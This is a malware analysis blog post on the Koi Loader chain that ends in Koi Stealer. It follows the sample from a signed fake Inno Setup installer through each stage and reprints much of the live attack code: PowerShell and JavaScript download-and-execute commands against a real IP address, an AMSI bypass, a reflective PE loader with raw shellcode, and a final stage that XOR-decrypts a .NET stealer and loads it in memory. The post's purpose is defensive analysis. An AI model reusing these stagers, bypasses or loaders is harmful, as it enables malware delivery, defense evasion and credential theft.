Koi Loader Attack Chain Analysis

Koi Loader Attack Chain Analysis
ChatGPT Generated Image

Overview

This post will cover at a high level the attack chain that Koi Loader takes in order to deploy Koi stealer on a system. All artifacts and samples were retrieved from Malware Traffic.

Fake Installer Initial Execution

Fake Installer

Initial access for this sample took form of a digitally singed fake installer file.

Digitally Singed Fake Installer

The executable file was singed with a valid certificate authority Certum and created for Zhengzhou Lichang Network Technology.

SignerCertificate      : [Subject]
                           CN="Zhengzhou Lichang Network Technology Co., Ltd.", O="Zhengzhou Lichang Network
                         Technology Co., Ltd.", L=Zhengzhou, S=Henan, C=CN, SERIALNUMBER=91410122MA40Y0N9XP,
                         OID.1.3.6.1.4.1.311.60.2.1.1=Zhengzhou, OID.1.3.6.1.4.1.311.60.2.1.2=Henan,
                         OID.1.3.6.1.4.1.311.60.2.1.3=CN, OID.2.5.4.15=Private Organization

                         [Issuer]
                           CN=Certum Extended Validation Code Signing 2021 CA, O=Asseco Data Systems S.A., C=PL

                         [Serial Number]
                           04EBDA42BF9235AECF2E07587EC4623F

                         [Not Before]
                           11/20/2024 10:40:35 PM

                         [Not After]
                           11/20/2025 10:40:34 PM

                         [Thumbprint]
                           B78EDD5FFE3A45F2993E98F9CCE5F0187EE880BD

Certificate of Fake Installer

The fake installer was created with Inno Setup. The software InnoUnpacker can be used to extract the contents of this installer file.

Contents of Fake Installer

This installer packages multiple files, however, these are not used or dropped to the system. They are just dummy files.

Dummy Program from Fake Installer

Inno Setup has the capability to add various capabilities in the created installer via a Pascal scripting feature. Any scripts added are compiled and stored in the CompiledCode.bin file.

Hexdump of CompiledCode.bin

Within the CompiledCode.bin strings we can see malicious Powershell commands present.

Strings from CompiledCode.bin

The following is the entire decompiled version of CompiledCode.bin which was decompiled with IPFSTools.NET.

.version 23

.entry !MAIN

.type primitive(Pointer) Pointer
.type primitive(U32) U32
.type primitive(Variant) Variant
.type primitive(PChar) PChar
.type primitive(Currency) Currency
.type primitive(Extended) Extended
.type primitive(Double) Double
.type primitive(Single) Single
.type primitive(S64) S64
.type primitive(String) String
.type primitive(U32) U32_2
.type primitive(S32) S32
.type primitive(S16) S16
.type primitive(U16) U16
.type primitive(S8) S8
.type(export) funcptr(void()) ANYMETHOD
.type primitive(String) String_2
.type primitive(UnicodeString) UnicodeString
.type primitive(UnicodeString) UnicodeString_2
.type primitive(String) String_3
.type primitive(UnicodeString) UnicodeString_3
.type primitive(WideString) WideString
.type primitive(WideChar) WideChar
.type primitive(WideChar) WideChar_2
.type primitive(Char) Char
.type primitive(U8) U8
.type primitive(U16) U16_2
.type primitive(U32) U32_3
.type(export) primitive(U8) BOOLEAN
.type primitive(U8) U8_2
.type(export) class(TWIZARDFORM) TWIZARDFORM
.type(export) class(TMAINFORM) TMAINFORM
.type(export) class(TUNINSTALLPROGRESSFORM) TUNINSTALLPROGRESSFORM
.type(export) primitive(U8) TEXECWAIT

.global(import) TWIZARDFORM WIZARDFORM
.global(import) TMAINFORM MAINFORM
.global(import) TUNINSTALLPROGRESSFORM UNINSTALLPROGRESSFORM

.function(export) void !MAIN()
	ret

.function(export) BOOLEAN INITIALIZESETUP()
	pushtype S32 ; StackCount = 1
	pushvar RetVal ; StackCount = 2
	call WIZARDSILENT
	pop ; StackCount = 1
	pushtype BOOLEAN ; StackCount = 2
	assign Var2, RetVal
	setz Var2
	sfz Var2
	pop ; StackCount = 1
	jf loc_27b
	pushtype BOOLEAN ; StackCount = 2
	pushtype Pointer ; StackCount = 3
	setptr Var3, Var1
	pushtype TEXECWAIT ; StackCount = 4
	assign Var4, TEXECWAIT(0)
	pushtype S32 ; StackCount = 5
	assign Var5, S32(0)
	pushtype UnicodeString_2 ; StackCount = 6
	assign Var6, UnicodeString_3("")
	pushtype UnicodeString_2 ; StackCount = 7
	assign Var7, UnicodeString_3("-command IWR -UseBasicParsing -Uri 'http://79.124.78.109/wp-includes/neocolonialXAW.php' -OutFile ($env:temp+'\\vqPM0l4stR.js'); wscript ($env:temp+'\\vqPM0l4stR.js');")
	pushtype UnicodeString_2 ; StackCount = 8
	pushtype UnicodeString_2 ; StackCount = 9
	assign Var9, UnicodeString_3("{sysnative}\\WindowsPowerShell\\v1.0\\powershell.exe")
	pushvar Var8 ; StackCount = 10
	call EXPANDCONSTANT
	pop ; StackCount = 9
	pop ; StackCount = 8
	pushvar Var2 ; StackCount = 9
	call EXEC
	pop ; StackCount = 8
	pop ; StackCount = 7
	pop ; StackCount = 6
	pop ; StackCount = 5
	pop ; StackCount = 4
	pop ; StackCount = 3
	pop ; StackCount = 2
	pop ; StackCount = 1
loc_27b:
	ret

.function(import) external internal returnsval WIZARDSILENT()

.function(import) external internal returnsval EXEC(__in __unknown,__in __unknown,__in __unknown,__in __unknown,__in __unknown,__out __unknown)

.function(import) external internal returnsval EXPANDCONSTANT(__in __unknown)

Decompiled Pascal Script from Inno Setup

From this decompiled code we can determine that the installer will first download a Javascript file and write it to a temporary directory, after it will invoke the Javascript file via wscript.

  • IWR -UseBasicParsing -Uri 'hxxp://79.124.78.109/wp-includes/neocolonialXAW.php' -OutFile ($env:temp+'\vqPM0l4stR.js');
  • wscript ($env:temp+'\vqPM0l4stR.js');

The following diagram summarizes the core steps the fake installer will take in order to execute Koi Loader, which will subsequently run Koi Stealer. The next sections will dive deeper into each step taken after the execution of the fake installer.

Fake Installer Flow Diagram

Download #1 - Malicious Javascript Code

The first step after the execution of the fake installer is the download of malicious Javascript code that will be written to a temporary folder.

The fake installer will directly execute:

IWR -UseBasicParsing -Uri 'http://79.124.78.109/wp-includes/neocolonialXAW.php' -OutFile ($env:temp+'\\vqPM0l4stR.js');

This will result in the Javascript file download over HTTP.

Network Request from Javascript File

This script has the responsibility to download and run two separate Powershell scripts.

  • hxxp://79.124.78.109/wp-includes/phyllopodan7V7GD.php: AMSI Bypass Script
  • hxxp://79.124.78.109/wp-includes/barasinghaby.ps1: Koi Loader Downloader
// Create file system object for file manipulation
var fso = new ActiveXObject("Scripting.FileSystemObject");

// Create Windows Script Host object to run system commands
var wsh = new ActiveXObject("WScript.Shell");

// Detect system architecture (64-bit or 32-bit)
var systemFolder = GetObject("winmgmts:root\\cimv2:Win32_Processor='cpu0'").AddressWidth == 64 ? "SysWOW64" : "System32";

// Get the path to PowerShell executable based on system architecture
var powershellPath = wsh.ExpandEnvironmentStrings("%SYSTEMROOT%") + "\\" + systemFolder + "\\WindowsPowerShell\\v1.0\\powershell.exe";

// Generate a unique filename based on MachineGuid from the registry
var uniqueFileName = 'r' + wsh.RegRead('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid') + 'r.js';

// Check if the current script is already named with the unique filename
if (WScript.ScriptName != uniqueFileName) {
    try {
        // Copy the current script to the ProgramData folder with the unique name
        fso.CopyFile(WScript.ScriptFullName, wsh.ExpandEnvironmentStrings("%programdata%") + "\\" + uniqueFileName);
    } catch (e) {
        // Handle any errors (e.g., permission issues)
    }
}

// Define a temporary file name for a potential malicious file
var tempFileName = "7zTJRTNUX3VD";
var tempFilePath = wsh.ExpandEnvironmentStrings("%temp%") + "\\" + tempFileName;

// Try to delete the temporary file if it exists
try {
    fso.DeleteFile(tempFilePath);
} catch (e) {
    // Handle any errors (e.g., file not found)
}

// Check if the temporary file does not exist
if (!fso.FileExists(tempFilePath)) {
    // Run the PowerShell command to download and execute malicious scripts
    var command = powershellPath + " -command \"$l1 = 'http://79.124.78.109/wp-includes/phyllopodan7V7GD.php'; " +
                  "$l2 = 'http://79.124.78.109/wp-includes/barasinghaby.ps1'; " +
                  "$a = [Ref].Assembly.GetTypes(); " +
                  "foreach ($b in $a) { if ($b.Name -like '*siU*s') { $c = $b } }; " +
                  "$env:paths = '" + tempFileName + "'; " +
                  "IEX (Invoke-WebRequest -UseBasicParsing $l1); " +
                  "IEX (Invoke-WebRequest -UseBasicParsing $l2)\"";
    wsh.Run(command, 0);
}

Malicious Javascript File

Download #2 - AMSI Bypass

The first Powershell script to be downloaded and executed included a AMSI bypass.

AMSI Bypass Script over Network
# Define a string pattern to be matched
$pattern = "yyWubZA2bLJUiTqmHcYttKZ7DIVYqf47J6AeiTqmHcYttKZ7jq9faTN5t7IeiTqmHcYttKZ7SuwSufiXjG2hiTqmHcYttKZ7jd78eScwXsGtiTqmHcYttKZ71CcOWkfJwaYtiTqmHcYttKZ7pGvxphMdyojsiTqmHcYttKZ7aq2glEPfEC9F"

# Match the pattern in the string
$matchedString = $pattern -match "iTqmHcYttKZ7"

# Get non-public static fields of the class (assuming `$c` is defined elsewhere)
$fields = $c.GetFields("NonPublic,Static")

# Iterate over the fields and set values based on a condition
foreach ($field in $fields) {
    if ($field.Name -like "*am*ed") {
        $field.SetValue($null, $matchedString)
    }
}

AMSI Bypass

Download #3 - Koi Loader Download

The second Powershell script downloaded and executed is responsible for the execution of Koi loader.

Koi Loader Downloader

The Powershell script contains a hardcoded path hxxp://79.124.78.109/wp-includes/guestwiseYtHA.exe from which the Koi loader will be downloaded from. In addition the script contains shellcode that will be used to map the Koi loader PE into memory.

[Byte[]]$targetPE = (IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/guestwiseYtHA.exe').Content;

function GDT
{
    Param
    (
        [OutputType([Type])]
            
        [Parameter( Position = 0)]
        [Type[]]
        $Parameters = (New-Object Type[](0)),
            
        [Parameter( Position = 1 )]
        [Type]
        $ReturnType = [Void]
    )

    $DA = New-Object System.Reflection.AssemblyName('RD')
    $AB = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DA, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $MB = $AB.DefineDynamicModule('IMM', $false)
    $TB = $MB.DefineType('MDT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $CB = $TB.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
    $CB.SetImplementationFlags('Runtime, Managed')
    $MB = $TB.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
    $MB.SetImplementationFlags('Runtime, Managed')
        
    Write-Output $TB.CreateType()
}

function GPA
{
    Param
    (
        [OutputType([IntPtr])]
        
        [Parameter( Position = 0, Mandatory = $True )]
        [String]
        $Module,
            
        [Parameter( Position = 1, Mandatory = $True )]
        [String]
        $Procedure
    )

    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
    $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null)
    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
    $tmpPtr = New-Object IntPtr
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
        
    Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}

$marshal = [System.Runtime.InteropServices.Marshal]

[Byte[]]$peMappingShellcode = 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x56, 0x57, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x0C, 0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x40, 0x18, 0x89, 0x45, 0xF8, 0x8B, 0x75, 0xF8, 0xBA, 0xF1, 0xF0, 0xAD, 0x0A, 0x8B, 0xCE, 0xE8, 0xD2, 0x01, 0x00, 0x00, 0xBA, 0x03, 0x1D, 0x3C, 0x0B, 0x89, 0x45, 0xF0, 0x8B, 0xCE, 0xE8, 0xC3, 0x01, 0x00, 0x00, 0xBA, 0xE3, 0xCA, 0xD8, 0x03, 0x89, 0x45, 0xEC, 0x8B, 0xCE, 0xE8, 0xB4, 0x01, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x45, 0x08, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x8B, 0x70, 0x3C, 0x03, 0xF0, 0x89, 0x75, 0xFC, 0xFF, 0x76, 0x50, 0xFF, 0x76, 0x34, 0xFF, 0xD3, 0x8B, 0xF8, 0x85, 0xFF, 0x75, 0x17, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0xFF, 0x76, 0x50, 0x50, 0xFF, 0xD3, 0x8B, 0xF8, 0x85, 0xFF, 0x0F, 0x84, 0x66, 0x01, 0x00, 0x00, 0x8B, 0x56, 0x54, 0x85, 0xD2, 0x74, 0x18, 0x8B, 0x75, 0x08, 0x8B, 0xCF, 0x2B, 0xF7, 0x8A, 0x04, 0x0E, 0x8D, 0x49, 0x01, 0x88, 0x41, 0xFF, 0x83, 0xEA, 0x01, 0x75, 0xF2, 0x8B, 0x75, 0xFC, 0x0F, 0xB7, 0x4E, 0x14, 0x33, 0xC0, 0x03, 0xCE, 0x33, 0xDB, 0x89, 0x4D, 0xF4, 0x66, 0x3B, 0x46, 0x06, 0x73, 0x44, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0xC3, 0x8D, 0x04, 0x80, 0x8B, 0x54, 0xC1, 0x28, 0x8B, 0x74, 0xC1, 0x2C, 0x8B, 0x4C, 0xC1, 0x24, 0x03, 0x75, 0x08, 0x03, 0xCF, 0x85, 0xD2, 0x74, 0x13, 0x2B, 0xF1, 0x0F, 0x1F, 0x00, 0x8A, 0x04, 0x0E, 0x8D, 0x49, 0x01, 0x88, 0x41, 0xFF, 0x83, 0xEA, 0x01, 0x75, 0xF2, 0x8B, 0x75, 0xFC, 0x43, 0x8B, 0x4D, 0xF4, 0x66, 0x3B, 0x5E, 0x06, 0x72, 0xC5, 0x8B, 0x86, 0x80, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x76, 0x83, 0xBE, 0x84, 0x00, 0x00, 0x00, 0x14, 0x72, 0x6D, 0x83, 0x7C, 0x38, 0x0C, 0x00, 0x8D, 0x1C, 0x38, 0x89, 0x5D, 0x08, 0x74, 0x60, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x03, 0xC7, 0x50, 0xFF, 0x55, 0xF0, 0x8B, 0xD0, 0x89, 0x55, 0xF4, 0x85, 0xD2, 0x74, 0x3A, 0x8B, 0x73, 0x10, 0x8B, 0x0B, 0x85, 0xC9, 0x8D, 0x1C, 0x3E, 0x0F, 0x45, 0xF1, 0x03, 0xF7, 0x8B, 0x06, 0x85, 0xC0, 0x74, 0x22, 0x79, 0x05, 0x0F, 0xB7, 0xC0, 0xEB, 0x05, 0x83, 0xC0, 0x02, 0x03, 0xC7, 0x50, 0x52, 0xFF, 0x55, 0xEC, 0x8B, 0x55, 0xF4, 0x83, 0xC6, 0x04, 0x89, 0x03, 0x83, 0xC3, 0x04, 0x8B, 0x06, 0x85, 0xC0, 0x75, 0xDE, 0x8B, 0x5D, 0x08, 0x83, 0xC3, 0x14, 0x89, 0x5D, 0x08, 0x83, 0x7B, 0x0C, 0x00, 0x75, 0xA8, 0x8B, 0x75, 0xFC, 0x8B, 0xDF, 0x2B, 0x5E, 0x34, 0x83, 0xBE, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x52, 0x8B, 0x86, 0xA0, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x48, 0x83, 0x3C, 0x38, 0x00, 0x8D, 0x14, 0x38, 0x74, 0x3F, 0x0F, 0x1F, 0x40, 0x00, 0x8B, 0x72, 0x04, 0x8D, 0x42, 0x04, 0x83, 0xEE, 0x08, 0x89, 0x45, 0x08, 0xD1, 0xEE, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x74, 0x1C, 0x0F, 0xB7, 0x44, 0x4A, 0x08, 0x66, 0x85, 0xC0, 0x74, 0x0A, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x02, 0x01, 0x1C, 0x38, 0x41, 0x3B, 0xCE, 0x72, 0xE7, 0x8B, 0x45, 0x08, 0x03, 0x10, 0x83, 0x3A, 0x00, 0x75, 0xC8, 0x8B, 0x75, 0xFC, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x89, 0x78, 0x08, 0x8B, 0x46, 0x28, 0x03, 0xC7, 0xFF, 0xD0, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF8, 0x56, 0x57, 0x33, 0xFF, 0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x48, 0x1C, 0x8B, 0x50, 0x24, 0x03, 0xCB, 0x03, 0xD3, 0x89, 0x4D, 0xEC, 0x8B, 0x48, 0x20, 0x03, 0xCB, 0x89, 0x55, 0xF0, 0x8B, 0x50, 0x18, 0x89, 0x4D, 0xF4, 0x89, 0x55, 0xFC, 0x85, 0xD2, 0x74, 0x4B, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x34, 0xB9, 0x03, 0xF3, 0x74, 0x3A, 0x8A, 0x0E, 0x33, 0xC0, 0x84, 0xC9, 0x74, 0x2A, 0x90, 0xC1, 0xE0, 0x04, 0x8D, 0x76, 0x01, 0x0F, 0xBE, 0xC9, 0x03, 0xC1, 0x8B, 0xD0, 0x81, 0xE2, 0x00, 0x00, 0x00, 0xF0, 0x74, 0x07, 0x8B, 0xCA, 0xC1, 0xE9, 0x18, 0x33, 0xC1, 0x8A, 0x0E, 0xF7, 0xD2, 0x23, 0xC2, 0x84, 0xC9, 0x75, 0xDA, 0x8B, 0x55, 0xFC, 0x3B, 0x45, 0xF8, 0x74, 0x11, 0x8B, 0x4D, 0xF4, 0x47, 0x3B, 0xFA, 0x72, 0xBA, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45, 0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC

$VAAddr = GPA kernel32.dll VirtualAlloc
$VADeleg = GDT @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VA = $marshal::GetDelegateForFunctionPointer($VAAddr, $VADeleg)
$CTAddr = GPA kernel32.dll CreateThread
$CTDeleg = GDT @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CT = $marshal::GetDelegateForFunctionPointer($CTAddr, $CTDeleg)
$WFSOAddr = GPA kernel32.dll WaitForSingleObject
$WFSODeleg = GDT @([IntPtr], [Int32]) ([Int])
$WFSO = $marshal::GetDelegateForFunctionPointer($WFSOAddr, $WFSODeleg)

# Put PE Mapping Shellcode into RX Buffer
$peMappingShellcodeBuffer=$VA.Invoke(0,$peMappingShellcode.Length, 0x3000, 0x40)
$marshal::Copy($peMappingShellcode, 0, $peMappingShellcodeBuffer, $peMappingShellcode.Length);

# Put Target PE File into Buffer
$targetPEBuffer = $marshal::AllocHGlobal($targetPE.Length)
$marshal::Copy($targetPE, 0, $targetPEBuffer, $targetPE.Length);

# Run the PE Mapping Shellcode as Thread, and Pass the Target PE File as Paramter
$thread = $CT.Invoke([int]$false, [int]$false, $peMappingShellcodeBuffer, $targetPEBuffer, 0, 0);
$WFSO.Invoke($thread, -1);

Koi Loader Downloader Script

Koi Loader Analysis

Unpacking

Koi Loader is initially present in a packed form before the true Koi loader is executed on the system. The packer starts with junk code and contains a function in the end that initiates the unpacking logic.

Main function of the Koi Loader Packer

The core unpacking function will take the following steps:

  • Retrieve the encrypted Koi loader payload from resource 54518 .
  • Retrieve the XOR keystream from resource 39596 .
  • Decrypt the encrypted Koi loader payload.
  • Map the Koi loader inside memory.
  • Execute the entrypoint of Koi loader.
Core Unpacking Logic

The loader had one instance of API hash resolution in the function that fetches the contents of a specified resource.

Resource Fetching Function

The following script was created in order to implement the API hashing routine and understand the three API hashes used in the function.

import pefile

def hash_string(string):
    
    api_hash = 0
    
    for current_char in string:
        
        api_hash = (api_hash * 16) + ord(current_char)
        loop_value_temp = api_hash & 0xF0000000
        
        if loop_value_temp != 0:
            api_hash = (loop_value_temp >> 0x18) ^ api_hash
            
        api_hash = api_hash & (~loop_value_temp)
            
    return api_hash
 

def resolve_hashes(dll_path, hashes):
    pe = pefile.PE(dll_path)

    if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
        print("[-] No export table found.")
        return

    print(f"[+] Exported functions in: {dll_path}\n")

    for i, exp in enumerate(pe.DIRECTORY_ENTRY_EXPORT.symbols):
        name = exp.name.decode() if exp.name else "<no name>"
        ordinal = exp.ordinal
        address = hex(pe.OPTIONAL_HEADER.ImageBase + exp.address)
        
        if hash_string(name) in hashes:
            print(hex(hash_string(name)))
            print(f"{i+1:3}: {name:40} Ordinal: {ordinal:5} Address: {address}")

# === Main ===
if __name__ == "__main__":
    
    hashes = [0x5681127, 0x9B3B115, 0xDAA96B5]
    
    dll_path = r"C:\Windows\System32\kernel32.dll"
    resolve_hashes(dll_path, hashes)
    
    # Example, should return 0x0BA853A5
    #print(hex(hash_string("AcquireSRWLockExclusive")))

API Hash resolver

The core of this unpacking routine is to extract the XOR keystream and encrypted payload from the resource.

Resources in Packed Koi Loader

However, the encrypted payload has each byte separated by 00's, this is taken into consideration in the packer by multiplying the index into the encrypted data by 2 in order to skip each 00.

Skipping Each 00 in Encrypted Payload

The following script was written to parse the encrypted payload and XOR keystream and decrypt the contents.

import pefile

def extract_resource_by_id(pe_path, resource_id):
    pe = pefile.PE(pe_path)

    if not hasattr(pe, 'DIRECTORY_ENTRY_RESOURCE'):
        print("[-] No resources found in this PE file.")
        return

    for entry in pe.DIRECTORY_ENTRY_RESOURCE.entries:
        if entry.name is not None:
            continue  # Skip named root entries

        if entry.id == pefile.RESOURCE_TYPE['RT_RCDATA']:  # RCDATA is most common for custom binary blobs
            for res in entry.directory.entries:
                if res.id == resource_id:
                    data_rva = res.directory.entries[0].data.struct.OffsetToData
                    size = res.directory.entries[0].data.struct.Size
                    data_offset = pe.get_offset_from_rva(data_rva)
                    data = pe.__data__[data_offset:data_offset+size]
                    
                    print(f"[+] Found resource ID {resource_id}, size: {size} bytes")
                    return data, size

    print(f"[-] Resource with ID {resource_id} not found.")
    return None

def unpack(pe_path, xor_keystream_resource_id, encrypted_payload_resource_id):
    
    xor_keystream, xor_keystream_size = extract_resource_by_id(pe_path, xor_keystream_resource_id)
    encrypted_payload, encrypted_payload_size = extract_resource_by_id(pe_path, encrypted_payload_resource_id)
    encrypted_payload_2 = b''
    
    i = 0    
    while i < (encrypted_payload_size / 2):
        encrypted_payload_2 = encrypted_payload_2 + encrypted_payload[i * 2].to_bytes()
        i = i + 1
    
    decrypted_payload = b''
    
    for i, value in enumerate(encrypted_payload_2):
        decrypted_byte = encrypted_payload_2[i] ^ xor_keystream[i % xor_keystream_size]
        decrypted_payload = decrypted_payload + decrypted_byte.to_bytes()
    
    if decrypted_payload:
        with open("decrypted_payload.bin", "wb") as f:
            f.write(decrypted_payload)
        print("[+] Resource dumped to decrypted_payload.bin")


if __name__ == "__main__":
    pe_path = r"2025-01-23-http___79.124.78.109_wp-includes_guestwiseYtHA.exe.bin" 
    xor_keystream_resource_id = 39596
    encrypted_payload_resource_id = 54518

    unpack(pe_path, xor_keystream_resource_id, encrypted_payload_resource_id)

Decrypt Koi Loader from Resources

Core Koi Loader

The core of Koi loader will download another Powershell script and execute it. The script downloaded is dependent on the version of .NET available on the system. This is because Koi stealer is written in C# using .NET.

The following is the Powershell script that contains an encrypted version of Koi stealer embedded. This will be decrypted and loaded into memory.

[byte[]] $bindata = 0x09, 
0x12, 0xd9, 0x38, 0x30, 0x6c, 0x33, 0x6b, 0x31, 0x6c, 0x48, 0x49, 0xb7, 0xae, 0x79, 0x61, 
0x88, 0x6b, 0x4e, 0x75, 0x44, 0x48, 0x49, 0x38, 0x73, 0x6c, 0x33, 0x6b, 0x35, 0x6c, 0x48, 
0x49, 0x48, 0x51, 0x79, 0x61, 0x30, 0x6b, 0x4e, 0x75, 0x44, 0x48, 0x49, 0x38, 0x33, 0x6c, 
[REMOVED BECAUSE IT IS TOO LARGE]

# [Net.ServicePointManager]::SecurityProtocol +='tls12'
$guid = (Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Cryptography).MachineGuid
$cfb = (new-object net.webclient).downloadstring("http://79.124.78.109/index.php?id=$guid&subid=zweyWGzf").Split('|')
$k = $cfb[0];

for ($i = 0; $i -lt $bindata.Length ; ++$i)
{
	$bindata[$i] = $bindata[$i] -bxor $k[$i % $k.Length]
}

$bf = [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static
$typee = [System.Type]::GetType("System.Reflection.Assembly")
$mtd = $typee.GetMethod("Load", [Type[]]@([byte[]]))

$sm = $mtd.Invoke($null, @(,$bindata))
$ep = $sm.EntryPoint


$ep.Invoke($null, (, [string[]] ($cfb[1], $cfb[2], $cfb[3])))

The call to hxxp://79.124.78.109/index.php?id=$guid&subid=zweyWGzf will download multiple parameters.

Once the .NET executable is decrypted it is loaded into memory the execution of Koi stealer begins.